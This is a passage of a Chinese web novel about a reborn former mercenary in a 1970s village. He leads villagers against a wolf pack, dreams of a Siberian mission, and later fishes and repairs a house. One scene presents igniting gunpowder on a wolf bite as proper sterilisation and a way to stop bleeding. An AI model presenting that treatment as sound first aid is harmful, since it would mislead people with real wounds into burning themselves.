两个小家伙人手一串,拿在手里,先是一阵端详,小鼻涕虫率先一口咬下,硬是让一整颗糖葫芦把嘴撑的鼓起。 小囡囡则咬了一小口冰糖,接着眼里发光,一把抱住陈虎,奶声道: “哥哥最好啦!” 见着两个孩子的这副模样,杨蓉也忍不住露出欣慰笑容。 陈虎抬手刮了一下小囡囡鼻尖,接着又掏出一串,递给了杨蓉: “妈,你也尝尝!” 杨蓉颇感惊讶,望着陈虎手中的那串糖葫芦,却连连摇头: “妈不吃这零嘴,小孩子喜欢的东西,你们吃就好。” 陈虎见状,固执的摇头:“吃一串,尝尝鲜!” 杨蓉见陈虎这执拗的神情,也不再推辞,接过糖葫芦,轻咬了一口。 接着,杨蓉又抬头看向陈虎: “小虎,你不吃?” 陈虎笑了笑,接着取出了一串,他倒是不喜欢这东西,毕竟前世今生加起来都快五十岁的人了。 不过,陈虎仍旧买了四串,他自然知道杨蓉什么心思,要是自己不吃,大家吃口零嘴也会闹得不开心。 糖葫芦的味道放在后世,的确不新鲜,脆生生的冰糖的糖衣,再加上酸涩的山楂,酸酸甜甜的口感比起后世的各种零嘴,属实一般。 但放在这个缺衣少食的年代,这入口的糖分,却还有一个名字,叫幸福! 一家人围坐吃着糖葫芦,感受着脆薄糖衣,混合着山楂的酸味在口腔里面爆炸开来,酸甜开胃,大家你看看我,我看看你,不约而同的笑出了声。 这一晚吃过糖葫芦之后,杨蓉端出了腌菜肉汤,家中洋溢着幸福的氛围,直到吹灯歇息。 后半夜,陈虎被一阵阵怪异声响惊醒! 他猛地起身,估摸着正是凌晨功夫,外面却吵闹不休。 陈虎赶忙穿上了衣服出门查看,走到堂屋便看见杨蓉,便急匆匆走进了门,一见到陈虎,杨蓉便脸色为难,一声不吭。 陈虎不解问道: “妈,这是弄啥呢?” 杨蓉叹了口气,无奈道:“说是有野狼进村了,不仅咬死了牲畜,还伤了人!家家户户都在抓野狼,小虎,你别逞强!” 说罢,杨蓉便一脸担忧的望向自家儿子。 她自然明白这事儿,陈虎不会坐视不管,但一想到野狼在外头伤了人,杨蓉就生怕陈虎出门会受伤。 陈虎递给了杨蓉一个安心的眼神,接着赶忙收拾起弩箭和短刀,临出门前,给杨蓉交代道: “妈,你看好弟弟妹妹,在家待着别出门。前日进山救了马老三杀了几头野狼,这畜生最是记仇,必然是来报复的,我不去帮忙说不过去,你放心待在家,我很快回来。” 说完,陈虎毅然出了门。 深夜,夜空中不见月亮踪影,满地的白雪反射出微弱光亮,并不影响视物。 深夜随着地表热辐射散去,漫山遍野的冰雪覆盖,最低温度甚至于能够达到零下三十摄氏度。 泼水成冰一类现象,都不算新鲜事。 这般低温的气候下,但凡是保暖措施少了些许,任何裸露在空气中的皮肤,都会面临冻伤的风险。 陈虎现在可谓是全副武装! 那张棕熊皮在杨蓉的裁剪之下,袄子、裤子连带毡帽和手套都全副给陈虎安排得明明白白。 村落依山而建,地势还算平坦,几十户人家零散着绕着一条下山河道的两岸延伸。 陈虎出门之后,迅速朝着人声沸腾与亮着火光的位置赶去。 不多时,陈虎来到村东头,便见着了一众村民们正打着火把四处查看。 村民们见到陈虎露面,当即围拢过来。 一个婆姨扯着嗓子,便哭泣道: “虎子啊,你婶我这是遭了什么孽唉……那狼崽子进了我家鸡圈,我一去看就被咬了一口狠的,这腿现在还框框流血。” 其他几个汉子也沸沸扬扬说着那些头野狼跑哪儿去了,好几人都被咬到。 陈虎赶忙出声,组织着众人,拿上菜刀、锄头等物件,到村子东边围着。 而后陈虎又叫上了几个青壮以及人群中的马三,让其跟着去东边驱赶。 最后,陈虎选择独自待在村落中间,潜伏起来。 依仗着陈虎近来的名声威望,大家都十分配合。 不多时,人群开始有组织的朝着两边,围拢过去。 野狼报复这种事情,算不得新鲜。 但陈虎一听多户人家都被野狼侵扰,也是心头暗自一惊! 要知道狼群的规模,一般不会太大扩张,毕竟,每个狼群都有自己的固定领地。 一片领地能养活多少狼群,这是自然演化决定的。 狼群不是人类,人类通过开垦种植庄稼、圈养牲畜以及与其余地方的人以物易物,能够不断扩张人口。 但在自然界,群居动物的数量会被限制在一个既定的规模。 就比如有的昆虫数量太多,就会大规模集体自杀,有的则会咬死自己的幼崽,保持族群稳定! 所以,寻常的狼群能有十几匹野狼,便属于强大的狼群规模范畴了。 但依照村民所说的袭击规模与时间,陈虎判断这群野狼约莫有近三十头! 而且,这还是不包含野狼幼崽的情况下,属实让人惊讶! 第一卷 第48章 擒贼先擒王 深吸一口气,陈虎开始沿着河道,潜行向东。 西边的村民们已经开始依照陈虎的吩咐,高举火把拿着农具,大张旗鼓的搜捕狼群。 野兽怕火,所以不太可能袭击搜捕的村民,所以大多会慌不择路逃逸,当然也有可能伺机而动,等待袭击。 东边的村民们也依照布置,将进山的路团团围住,陈虎此刻独自在村子中央的位置潜伏。 不多时,悉悉索索的动静,传入陈虎耳中。 顿时,陈虎的眸子微微眯起,手持弓弩,瞄准了雪地中正潜行的那道黑影。 伴随着一道破空声传出,弩箭的破空声在雪地之中,格外响亮。 下一瞬,那道黑影便被利箭狠狠的钉在了地上! 伴随着一声声的呜咽,陈虎能确认那是一头母狼,却并未再有多余的动作,而是仍旧潜伏在一处草垛之后。 仍由那头濒死的野狼在雪地之中呜咽出声,等在暗处静待围点打援! 果不其然,片刻功夫,两匹野狼再度出现在陈虎的视线范围内。 没有丝毫犹豫,陈虎再度一箭射出。 箭矢精准破空扎中一匹野狼的腹部,伴随着那匹野狼倒下,另一匹狼警戒望向四周,旋即一边嚎叫出声,一边朝着前方迅速奔逃而去。 狼的智慧不亚于一个十二岁的孩童,甚至于犹有过之。 在眼见着两个同伴倒在雪地里面,察觉到未知危险之后,这匹野狼不带犹豫,迅速逃离此处,并且不断的嚎叫发出警告。 伴随着狼嚎声传开,当即便有阵阵狼嚎回应。 这些野狼的智慧与团队意识,让陈虎也感到震惊,当即不再潜伏原地,顺着逃离野狼的方向追了上去。 雪地里面,陈虎不再隐匿身形,开始沿着野狼逃走的位置狂奔。 逐渐的,陈虎能听见越来越多的狼嚎声接近自己。 下一瞬,陈虎停下脚步,开始警惕的环顾四周。 顿时,从多个方向,有一道道黑影窜了出来。 那一对对绿油油发着光的招子,正朝着陈虎所在方向,投射而来! 远处一雪堆上,一头银色皮毛体型壮硕的野狼,突兀的仰天嚎叫一声。 下一瞬,所有的野狼齐齐的朝着陈虎,奔袭而来! 危急时刻,陈虎表现出前所未有的镇定,先举起弩箭,箭矢五连发,将箭匣清空。 五支弩箭射中三只野狼,眼见野狼已然到了近前,陈虎果断的扔开弩机,双手握紧短刀,猛地朝前,冲杀而去! 七、八匹野狼从不同的方向朝着陈虎,猛扑而来。 陈虎的心中,也不免懊恼,本以为狼群主力都被驱赶朝着进山的方向逃去了,不成想这群畜生竟是埋伏在此。 眼下,陈虎没了弩箭的远程打击优势,只能依靠着短刀,放手一搏! 对于一个精通野战的传奇雇佣兵而言,野狼大致不超过五十公斤的体重和单一的攻击方式,其实威胁并不大。 即便是几头野狼一齐扑上来,陈虎也能迅速反应,向一侧翻滚躲开。 但相对的,他手中的短刀在近身肉搏且需要多番躲闪的情况下,也极难发挥作用。 就像是回合制打斗,对方一直强攻,你只能不断闪避,无法做出有效回击。 没过多久,陈虎便感受到有些体力不支! 犹豫片刻,陈虎转头望向那处雪堆上的头狼。 一人一狼,遥遥对视。 陈虎随后深吸了一口气,果断甩开围攻自己的野狼,直奔头狼冲杀而去。 在他的身后,十几匹野狼开始并排追了上来。 群居动物都会选举出一位领头者,如狼群的头狼,头狼不仅是团体内武力象征,更是狼群的大脑! 狼群行动时,皆依靠头狼指挥、分配行动。 擒贼先擒王! 陈虎无视后方追逐的群狼,直奔头狼而去。 这匹头狼狠狠凝视着奔袭而来的陈虎,弓着腰,蓄势待发。 那双发着绿光的眸子里面,闪过一抹凶狠。 下一瞬,陈虎到了近前,那匹头狼也猛然动身! 只见,陈虎持刀直奔头狼竖劈而下,头狼猛地朝着左边闪躲,而后又直奔陈虎悍然扑来! 陈虎眼见一刀劈空,下一瞬便嗅到了头狼那满嘴獠牙间的腥臭味,赶忙偏过头,反手举刀上挑! 伴随着头狼与陈虎交手一个回合退开,短刀在头狼前肢处留下了一道血淋淋的伤口,陈虎也并未讨好,肩部留下了一排流血齿印! 陈虎暗自松了口气,只差一点,那狼咬中的便不是肩膀,而是脖颈处! 不由得,陈虎深吸一口气,开始缓缓后退,身后的群狼也到了跟前,正龇牙与之对峙。 而后,陈虎直视群狼,接着两腿蓄力,转身便逃! 独战群狼? 那他前世就不是特种野战雇佣兵了,而是武松! 狼的咬合力能够达到惊人的接近四百斤,并且咬住猎物之后,能够连续承受打击不松口! 面对十几匹野狼,陈虎自然只有跑的份儿。 当然,迂回避其锋芒,并不代表着认输! 陈虎拔腿向后逃跑的一瞬间,狼群也随之而动,追了上去。 陈虎狂奔在前,野狼快慢不一拉成一条长线跟在后面。 途经一处矮小的雪堆,陈虎猛地一个转向,先是避开一只追在前方野狼的冲杀,而后猛地一刀横砍,硬生生给那头狼砍掉了半个脑袋! 旋即,陈虎迅速换了个方向奔逃! 一众野狼再度上前追击,陈虎则且退且战,时不时的转向绕道,让野狼屡屡受挫。 不多时,便有三匹野狼接连倒在陈虎的刀下! 陈虎也逐渐感受到自己的体力透支,将狼群吸引着往进山的路口带去。 野狼则分成了两股,在陈虎的身后两翼,形成合围之势,以防陈虎转向逃跑。 就在陈虎体力几乎耗尽的同时,他见到了前方早已等待许久的村民们。 那些村民们眼见着陈虎被野狼追杀,一个个嚷嚷着便拎起农具、火把冲了上去。 狼群见势不妙,当即分作两股,朝着两个方向逃逸! 村民们来势汹汹,只可惜在冲锋的同时,也将山道留出了缺口,野狼从两边陆续逃进了山里面。 仅有为数不多的两匹野狼被村民堵住,最终被村民一锄头接一锄头的硬生生砸死! 陈虎脱力的瘫坐在雪地之上,看着村民们卖力的砸死两匹野狼,却放跑了剩下十几匹野狼,不由得有些无奈。 第一卷 第49章 疗伤做梦 随着野狼纷纷败逃,村民们聚集一处欢呼雀跃! 陈虎见状,当即将他猎杀的野狼位置告知众人,让众人去将狼肉收拾出来。 等到这场意外落幕时,天色已然是蒙蒙亮了。 陈虎拖着疲惫的身子,走回了家,一进门,就见着杨蓉迎了上来,满眼忧心的打量着陈虎周身。 杨蓉作为一个母亲,以母亲对儿子关心的敏锐,迅速察觉到了陈虎肩头的那处伤口,顿时愁容不止,急切的让陈虎脱下外套,拿来了治疗外伤的草药。 陈虎的体力极为不支,瘫倒在躺椅上,苦笑道: “妈,还麻烦帮我打一盆温水,拿块肥皂过来。” 作为后世来人,陈虎十分清楚被犬科动物咬伤的隐患与风险。 狂犬病的病发率微乎其微,但一旦发病,致死率却近乎百分之百! 杨蓉红着眼,按照陈虎吩咐,将温水与肥皂拿了过来。 陈虎脱下外套递给杨蓉,接着掀起里面衣裳的袖口,露出了那肩头犬牙交错的狰狞伤口! 伤口触目惊心,虽然只被那头狼一刹那撕咬,却留下了一排撕裂的齿印,鲜血染红了陈虎整个左手衣袖。 陈虎急忙用肥皂沾水洗清血渍,又将伤口周围清洗干净。 待到伤口完全露出,杨蓉更是揪心不已:“这……这还流着血,我这就去找大夫给你缝针!” 陈虎虚弱的出声阻止:“妈,这天还没亮,村里也没大夫,你这要去了镇上,也不知什么时候才能赶来,我自己来吧!” 杨蓉泪眼婆娑,闻言一个劲儿的皱眉: “小虎,你确定你会做这事儿?” 杨蓉可从不记得自家孩子会医术什么的,并且这狰狞伤口她看着都一阵手抖,想做些什么也没招。 陈虎递给自家娘一个放心的眼神,接着咬牙道: “妈,帮我去取那墙角的那杆枪下面的子弹来。” 杨蓉闻言,更是迷惑不已,红着眼,想了想没再多问。 毕竟,陈虎的肩头现在还在鲜血直流。 很快,一袋子陈虎自己特制的子弹,便摆到了桌上。 陈虎感受着左边臂膀的麻木,虚弱浅笑出声道: “妈,帮我给这东西拆开一下。” 杨蓉双手颤抖着依照陈虎的吩咐,一步步将子弹拆开,由于是陈虎自制的原因,所以拆解并不困难。 不多时,杨蓉便将子弹中的火药倒出堆在桌上,钢珠挑出放到了一边。 陈虎长舒了一口气,随后十分果断的将火药盖到了伤口上! 他太清楚消毒不彻底会留下的隐患了,可眼下没有酒精,也没有其余消毒的办法,单靠粗工简制的肥皂,远远达不到消毒的要求! 旋即,陈虎取出一根火柴,当即点燃了肩头火药! 随着“刺啦”一声响动,白光照亮了整个屋子,杨蓉在一旁看得心惊胆跳。 陈虎则死死的咬住牙关,感受着肩部传来的剧烈的灼烧痛感,一时之间,冷汗直流,全身都被浸湿。 很快,火药燃烧殆尽。 有了火药的高温消毒,还能帮助伤口止血,陈虎也总算松了口气。 毕竟,消毒不彻底,再加上冬日的气温低下,先不提有概率发作的狂犬病,单是伤口愈合缓慢,加之后续化脓、感染风险就不是陈虎眼下所能承担的。 一旦处理不当,陈虎率先要面临的不是那病发率微乎其微的狂犬病,而是感染导致截肢的风险。 七十年代的医疗设施有多差劲,不用多说,更遑论是他还位处于一个偏远位置的山村? 将伤口简单处理后,陈虎也意识昏沉,仰头睡了过去。 月黑雁飞高,单于夜遁逃。 欲将轻骑逐,大雪满弓刀! 是夜,位处于西伯利亚无人区地界的陈虎,第一次见识到冰天雪地的自然伟力! 漫山遍野的冰雪,一片片松林宛如被冻结在此,已然沉睡无尽岁月。 积雪能够轻易的没过膝盖,每一步走出都极为困难。 松树上,松针仍旧脆嫩,却结满了冰晶,随着夜间一阵冷风吹过,整片松林都会因冰晶碰撞而叮铃作响,像是一曲自然的交响乐,悦耳又让人胆寒。 这里是西伯利亚无人禁区,更正值冬日。 无尽的荒林与陡峭的山脉,无一不代表着人类生存能力的极限。 但就是这般恶劣环境下,一支雇佣兵小队却乘直升机,降落至此。 陈虎走下飞机,即便是身着最新科技的防寒装备,也让他难以无视这漫天冰雪带来的彻骨寒意。 一名队员在对直升机检修后,通过对讲机,给陈虎报告道: “队长!直升机螺旋桨受损,多处外部设施因为气候极寒受损,想要再起飞,以目前现有的维修设备,大概是不可能了!” 陈虎不动声色的沉声回应道: “先步行追击目标,把能用的物资全带上,无线电告知总部,我们眼下状况和去往方向,让他们三日后派人到指定位置接我们。” 这是一次追击剿杀任务,目标为一个恐怖组织头目。 这个恐怖组织常年活跃在中亚地区,后被政府军围剿,却在落败前执行了刺杀任务,将该小国统领斩首! 这次斩首行动,引发了该地区动荡,但恐怖组织仍旧被政府军剿灭,该组织首领几经周折逃逸到了西伯利亚地区,当地政府军这才倾尽财力,让陈虎所在的组织出手。 陈虎看着手中的卫星地图,反叛军距离自己所处的位置,仅有十公里距离。 但这却让得陈虎有些犯难。 十公里对于正常情况而言,哪怕负重五十公斤,也算不上加强难度的训练。 但眼下这里是冬季的西伯利亚,是满地积雪厚达六十厘米的地界,是气温堪堪零下四十摄氏度的绝地,更是遍野陡峭山崖诡异地势的战场。 这片战场,不仅仅是他与任务目标的战场,更是他的队伍与自然伟力抗争的战场。 沿着既定路线,陈虎带领着这支六人小队,开始朝着目标前进。 一路上,队伍都在急行军。 昏暗的光线和厚重的积雪加上地势诡异多变,难以预料,都一再让他们受挫。 多数时间,陈虎带队也会走入被冰雪封锁的崖壁,这般恶劣的环境,自然无法翻越,只能绕道。 小队内部倒是没有发出质疑之声,在陈虎不断绕路的情况下,即便是偶有摔伤、被荆棘割破防寒服,大家也都默契行动。 他们一路急行军,直到天明,乃至第二日下午,仍旧不曾停下! 而他们这般不要命的赶路,实际上是抱着生的希望…… 第一卷 第50章 人生无常 预定三日后的夜晚八点接应撤离,若是不能在规定时间内,率先完成任务,再抵达撤离点,他们便有可能永远留在这方冰雪世界! 赶路到次日午后,陈虎小队一行人沿途渴了吃雪水,饿了啃食冻得发硬的浓缩干粮。 眼下,他们已然精疲力竭。 而距离目标所在地,还足足有六公里之多! 整整一个晚上,他们仅仅只行进了四公里的距离。 复杂的地势导致许多路径不通,在密林之中不断绕路的情况下,短短四公里却近乎耗尽了他们所有体力。 陈虎在寻到一处避风山坳之后,直接就挥手叫停: “短暂休整,四小时后继续出发,白虎、朱雀轮番值守。” 其他的五名队员闻声,当即也不约而同的松了口气。 当即,其他五人迅速行动起来,砍伐较为干燥的木柴点燃火堆,再取出背包中的帐篷围拢搭建,很快便将简易庇护所制作完成。 休整的时间,一晃而过,天色也逐渐黑了下来。 夜间,陈虎再度带领队伍,开始行进。 这般急行军一直到了一行人来此的第二个日头缓缓落下,他们才抵达目的地,寻到了目标所在地! 那里是一处僻静的山谷。 山谷内有着几个水泥构造的屋舍,营地外还有几个站岗哨兵。 通过营地附近有一条年久失修的铁路,陈虎这才明白为何在这般人迹罕绝之地,目标能够建造营地,苟且在此! 这里曾是淘金客的梦想之地,一条搭建在漫天冰雪下的铁路,完全可以堪称是奇迹。 在一个世纪前,这里曾开掘出无数金矿,更引来了无数的淘金客驻足。 但随着金矿开发完成,这里便成为了一处无人禁区。 依靠着当初淘金热浪潮所带来的一些基建物资,以及这条破败的铁路,目标这才能够将此处作为临时根据地。 对于中亚小国的内部矛盾,陈虎并不清楚,作为组织自幼培养的特战军士,陈虎只需要知晓目标的信息,以及所在地便够了。 很快,陈虎趁着夜色,带领着小队,解决了外围哨岗,摸到了营地内。 特战队员与寻常军士的区别,不仅仅在于作战技巧、对枪械的掌握程度,以及体力和特战知识。 更是装备与科技的碾压! 陈虎一方的特战队员,都装备着不仅防寒,更是有着防弹特性的特殊材质战衣! 战衣还在每个关节处,配备了机械动力驱动的外骨骼支架,这能够让军士行动时,保存机械动能,最大程度的释放。 简单来说,就是假设一个战士纵身一跃能跳两米,但通过外骨骼支架储存动能,就能够让他的力量发挥百分之一百五,让两米的高度变成三米! 当然,特战队员与寻常军士的枪械装备,同样差距甚大! 陈虎的随身携带的五个弹夹都有不同特性,所有的子弹口径都超出了正常步枪的口径。 这让得子弹威力、穿甲能力都有显著的提升。 并且,不同弹匣的子弹,还分别有着如爆燃、震荡、穿刺、毒气扩散等不同的特性! 再加上那防护到面部自配过滤空气效果的战衣,以及护目镜上实时开启的热红外扫描功能。 这场战斗从一开始,便呈现碾压状推进! 陈虎的这支小队,仅仅六人,却在解决完岗哨,进入营地被发现之后,以近乎平推的姿态,杀到了营地深处! 数十名卫兵倒在了营地内,枪声四起间,山野震彻! 对于目标一方的阵营军士而言,这支小队堪称是“怪物”! 一如上世纪初时,军人们在战场上见到那配备两挺机枪,以及一门大口径重炮坦克的敌人军队时的情况一般。 敌人惊恐着不断败退。 眼见着火舌四溅的子弹,喷涌在陈虎一行人的周身,他们却仍在冲锋不停,都生出了怯战姿态。 陈虎则信心十足,对这次任务,抱着必胜之心,直接平推向前! 所谓富则火力覆盖平推,穷则战术穿插迂回。 陈虎可不是第一次打这般富裕仗,很快便让营地内的卫兵一片片的倒下,一个接着一个的溃逃而去。 不多时,陈虎带领小队,来到了营地中心的楼下。 陈虎当即打了个手势,三三分队,一队主攻,一队绕后截断退路。 分配完成后,陈虎带领着两人,主攻冲锋,可进入大楼之后,却并未受到任何的阻击。 他们潜伏向上,不多时,便来到了一处会议厅。 里面却依旧空无一人! 可就在陈虎不明所以,打算搜查时,上方却传来一阵冷笑声: “好一个天狼星!当真不愧这些年的凶名!” 陈虎几乎不带半分犹豫,举枪朝着顶上的露台射击。 可子弹却被隔绝露台的玻璃,一一挡下! 即便是出现丝丝裂纹,也不见这玻璃崩塌。 陈虎心中诧异,停下了射击。 能挡住这般口径子弹射击,证明这防弹玻璃的品质,绝对强过米利坚总统座驾的防弹玻璃强度,并且只怕不止一层。 陈虎冷冷出声:“你跑不掉,没人能够从天狼星的手中逃走!” 站在露台上玻璃背后的中年男人,身材微微发福,穿着一件黑色毛袄,嘴角仍旧挂着浅浅的笑意: “人生啊,就是这般多变!兴许我今天会死在这里,我也清楚这是你们来此的唯一目的,不过,你恐怕还没想过,你会死在我的前面。” 说罢,只见这中年男子冷冷挥手。 下一瞬,露台玻璃打开了两个豁口,两挺大口径机枪便突然被架了出来。 下一瞬,火舌喷涌…… 陈虎的梦,顿时戛然而止。 他睁开眼时,窗外大亮。 长舒一口气,陈虎坐起身。 肩头的伤口,被精心包扎过。 屋外传来了一阵阵喧哗声,十分热闹。 陈虎回想起方才的梦境,心中一阵颤抖。 他自然记得,梦境内容正是自己前世最后一次执行任务。 短暂缓过神之后,陈虎起身穿好衣裳,来到屋外。 屋外此刻聚集了约莫三、四十号同村乡亲,院子还架着三座灶台,灶台上支着三口大铁锅,锅里炖煮着肉汤。 肉汤的香味,溢满了整个院落。 各家各户的村民们,都带着自家凳子和厨具、餐具聚集在院子里面。 第一卷 第54章 他陈虎就是神人! 陈虎俯下身子,看着水潭里的鱼儿,不免又有些失望道: “这些多是草鱼和鲫鱼,只有到了秋天,它们才能长一身秋膘。那时候吃最是肥美,但这个季节的话,都太瘦了!” 马老三则两眼放光,拿着那把自制的简易鱼叉,跃跃欲试道:“虎哥,这起码得有二三十斤鱼!” 陈虎无奈的耸了耸肩: “你随意吧!留下太小的,剩下的抓了找根藤曼穿起来,晚上喝鱼汤。” 马老三闻言,赶忙应了一声,接着开始全神贯注的拿起那把由短刀、木棍仓促制作而成的鱼叉,然后瞄准了一条最大的鱼儿,猛地扎下! 随着马老三的鱼叉不断落下,一条条的鱼儿也接连上岸。 水潭里的鱼儿则受惊不断的跃出水面,甚至于直接跳到了岸边上。 陈虎随意找了块干燥石头坐下,看着马老三忙活,估摸着两刻钟的功夫,这处水潭算是被马老三彻底清除干净。 里面再难看到半条鱼儿游动,所有的鱼都被马老三用一些藤条,大小分开串好。 陈虎颇为无奈的看着那一堆大小不一的鱼,扶额苦笑出声道: “马老三,往后你要记住,无论你猎捕什么,不要竭泽而渔,尽量留下一些年幼的猎物,你能明白吗?” 马老三有些汗颜摸了摸头,干笑两声,连连点头道:“是了,虎哥,我刚才有些激动,一时就没忍住。” 等到将鱼儿清点完后,马老三还跃跃欲试,看那架势是鱼没捉够,眼神止不住的沿着山涧,往上看去。 陈虎注意到马老三的眼神,直接便出声,打消了他的念头: “午后了,不赶紧下山的话,等到天黑的时候,咱俩就可能走不出去了!” 马老三自然清楚这个季节留在山里过夜意味着什么,赶忙扛着鱼走到前面,为陈虎开路,二人急匆匆的往山下赶去。 晚间,二人赶在天黑前下了山。 到了村口,陈虎将渔获一分为二,大致三七分成,陈虎果断拿了三成,并表示道: “今儿你出力最多,你拿多的这部分!” 马老三见状,则连连摇头,断然不愿意:“虎哥,这主意是你的,也是你带我进山,从进山到那处水潭,都是你在指路,我咋能多拿呢?这万万不行!” 最后,在马老三的一再执拗下,约莫是四十斤左右的渔获被平分成两份,马老三先是帮陈虎将渔获送到家后,这才急匆匆的回家报平安。 杨蓉眼见着陈虎赶在天黑前到家,也是暗自松了口气,在见着那对鱼儿时,她不免责怪陈虎道: “小虎,你手不能动,怎么还下河摸鱼去了?” 陈虎则摇头解释道: “这鱼是山里溪涧里头的,我出主意让马老三下河摸鱼,他打来渔获分我一部分。” 听见陈虎自己没动手,杨蓉也没再多说什么,眼见着这会儿天色还不算太晚,当即接过二十来斤渔获,浅笑出声道: “今儿吃鱼汤!” 堂屋里,正忙着学写字的陈真和陈瑶两个小家伙一听要吃鱼,两人的双眼全部都放光! 等到杨蓉利落的将那些个鱼儿清洗处理干净,刮掉鱼鳞、刨除内脏,洗净腌制好,架起油锅后,两个小家伙果断放下纸笔,来到灶台跟前,眼巴巴的守着。 杨蓉假意嗔怒的看向两个孩子,无奈说道:“急啥?怕有人跟你俩抢?” 当然,说归说,杨蓉还是先往油锅里面,扔了两条腌制处理完的小鱼。 小鱼下锅,在滚烫的油水里翻滚,没片刻功夫,便飘香四溢,鱼干裹上了一层金黄酥脆的油皮。 接着,杨蓉便给陈真和陈瑶两人,一人盛了一条。 油炸过后的小鱼干,酥脆金黄。 一口咬下,甚至于连鱼骨头都能够直接咬碎,再加上猪油与调味料的香味,让人十分眼馋。 陈真和陈瑶两个小家伙吃得欢喜,不等到晚饭开始,便一人几条小鱼干下肚,却仍旧眼巴巴的望着油锅里面的鱼肉。 同一时间,马老三的家里,同样传来鱼肉的飘香。 今儿晚饭桌上,马老三看着那两条清蒸鱼,胃口大开,他家独子马雨也是吃得满嘴流油。 马老三家媳妇儿看着饭桌前和谐的一幕,也是不禁感慨出声: “这陈虎当真神了!这天气能想到带你去山里捕鱼,每年都会有几个村民在村东边河里忙活,费力的砸开冰面,忙活一整日都空手而归。对了,马老三,这事儿你可别傻乎乎的告诉旁人,不然的话,进山那些个山涧不出两天都得被刨一遍了!” 马老三闻言,点了点头,心情大好:“放心!这我明白!” 说罢,马老三看着自家媳妇儿和儿子,叹了口气,接着道: “他陈虎就是神人!他愿意带着我,我就铁了心跟着他。想想几日前,咱们一家都快断粮了,一人一天二两粮食吊着咱们的这条贱命。如今咱们一家能吃的上肉,油水足还能够吃饱,当真是多亏了他……” 马老三的神情,一阵恍惚,思绪又回到了不久前的后山的山坳之中。 那一日,在陈虎第二次给出选择时,马老三纠结半晌之后,直接就坐在雪地上,完全不顾面皮的哭出了声! 陈虎给了他选择的机会,但他没办法,只能选择拿起那柄短刀,依照陈虎的吩咐,将利刃狠狠刺入了王胜的胸膛! 他这辈子勤勤恳恳,日复一日、年复一年。 但他所有的努力,却比不过陈虎一时开窍后,所展现出的些许智慧。 一直到此刻,感受到鱼肉的细腻与香味在口腔之中爆开,马老三这才有胆子回想起那日陈虎循循善诱的面孔,好似一个荒野里面的邪神,正诱骗着途径的路人,做他忠诚的信徒。 此时,陈虎那日的话语,又一次徘徊在他的脑海之中,不断回荡: “杀人放火金腰带,修桥铺路无尸骸……” 次日一早,陈虎刚起身洗漱,马老三便早早的来敲响了房门。 陈虎自是不意外,这事儿是他昨日吩咐过的。 将马老三迎进屋里面后,杨蓉正忙活着早饭,她看到马老三,便连忙招呼马老三坐下。 马老三见此,连声婉拒:“别!婶子,我方才吃过了。” 陈虎没好气的看了马老三一眼:“怎的?我妈做的不和你胃口吗?” 马老三闻言,一阵汗颜,连忙否认。 陈虎则一把将马老三摁住坐在饭桌前,接着,他盛了一碗粥,又端来一碗咸菜,不容置疑的对马老三说道:“合你胃口的话,那你就给我吃完!等会儿都是体力活,不吃饱了可不成!” 马老三听到陈虎这话,当即便不敢再拒绝,他默默的端起碗,然后就低头喝起了碗里面的粥…… 第一卷 第55章 笑话,他敢说不合胃口? 吃过早饭,陈虎领着马老三出了门,马老三仍旧不会多做过问,就这么默默的跟着。 二人穿过村东头的几户人家,沿着河道没走几步,便来到了陈家老宅。 老宅倒是不小,再加上堂屋与灶房,共计有六间屋子,占地少说也有二百来平。 房屋的主体是土石结构,外表糊着一层厚实的黄泥,顶上同样是茅草加煤灰的设计。 屋子不小,院子也同样不小,院子里头还栽种了一棵杏树,树干估摸着一人抱不住。 陈虎与马老三一起走进院里,院子因为最近没人居住,所以积雪都堆到了半米多高,进院都略显费劲! 陈虎对着院内和屋子打量一番,接着微微点头,出声道: “马老三,先把院子里面的雪给铲了。” 马老三应了一声,便进屋找来铁锹,当即便埋头苦干起来。 院子早先陈厚一家子“去了县城躲债”,再加上老太太自尽,草草办完丧事之后,就一直到前阵子雪灾,陈虎才将这处屋子给了遭了灾的村民们居住。 不过,后来镇上来了救援队,再加上家家户户也都帮衬着,受灾的五户人家也很快都修起了新房,虽说房子简陋,但也比二十几号人挤在这里当灾民来得好些。 约莫半个钟头时间,马老三便将院子里面的积雪,给铲了个干净! 陈虎从屋里烧起了灶火,接着煮了一壶热水,端了出来。 “马老三,来喝口热水歇会儿!”陈虎招呼着马老三歇息。 马老三也急忙上前接过水壶和瓷碗,倒上两碗热水,递出一碗给陈虎。 旋即,二人就这么蹲在院子里小口小口的喝着热水,稍作歇息。 陈虎将热水喝完之后,就仔细打量着这处屋舍,接着将目光投向了院内一角堆放的木材。 “老三,这院子里的篱笆也烂得差不多了,今儿全给拆了,咱们用土石和那边的木头重建一个。” 马老三闻言愣了愣,不太明白陈虎此举用意,却也没做质疑,起身便比划起来,研究翻新这院子的篱笆需要多少材料。 很快,马老三便接着开始干活,陈虎一只手不方便,则在一旁不时的搭把手。 不出两个钟头,那原本年久失修的篱笆就给二人拆了个干净,院子瞬间不复存在。 拆下的木头被堆在远处,陈虎准备将这些拆下来的木头做柴火使用。 这时候,已然到了正午,陈虎便招呼着马老三一起回家吃饭。 早上临出门时,陈虎便交代过杨蓉,今儿他和马老三都要回来吃饭,所以等到二人回去时,屋子里面已经饭菜飘香了。 饭桌前,杨蓉给众人分了馒头、筷子,招呼着大家动筷。 小陈瑶和小陈真两人瞧着桌上那炖肉和咸菜馒头,都埋头苦吃。 陈虎见马老三似乎有些拘谨,一直啃馒头,直接端来一只瓷碗,盛了满满一碗肉羹,递到马老三的面前,并笑道: “我妈做的肉汤贼香,多吃些,要是不合胃口,就跟我说。” 马老三眨巴眨巴眼,没吱声,接过那碗肉羹后,没几下便吃了个干净。 笑话,他敢说不合胃口? 那必须太合胃口了! 午饭过后,杨蓉再给两人煮了一壶热茶。 茶叶是本地自产的山花茶。 这茶叶没啥名气,这一片人们也鲜少种植,都是山野自采炒制。 茶足饭饱,陈虎悠哉起身,招呼着马老三接着回去,并顺势从兜里面,取出一叠毛票: “马老三啊,这几日我手不方便,暂时就不进山了,你帮着我为那老屋翻新做些准备工作,每日两块工钱可成?” 马老三闻言直摆手,正打算拒绝,却对上了陈虎不容置疑的目光,立即又悻悻然的把想说的话,给咽回到了肚子里面。 他这两日算是见识到了陈虎挤兑人的功力,这钱眼下不收,等会儿受了挤兑还得收,他马老三可不想再听陈虎怼几句,只得接过票子。 可看着那一沓毛票,马老三犹豫片刻,还是忍不住出声道: “虎哥,管三餐还给两块有点儿太多了,重苦力一天工钱不超过一块,那技工也才一块二,再说了虎哥这儿三餐管饱还有肉,这……” 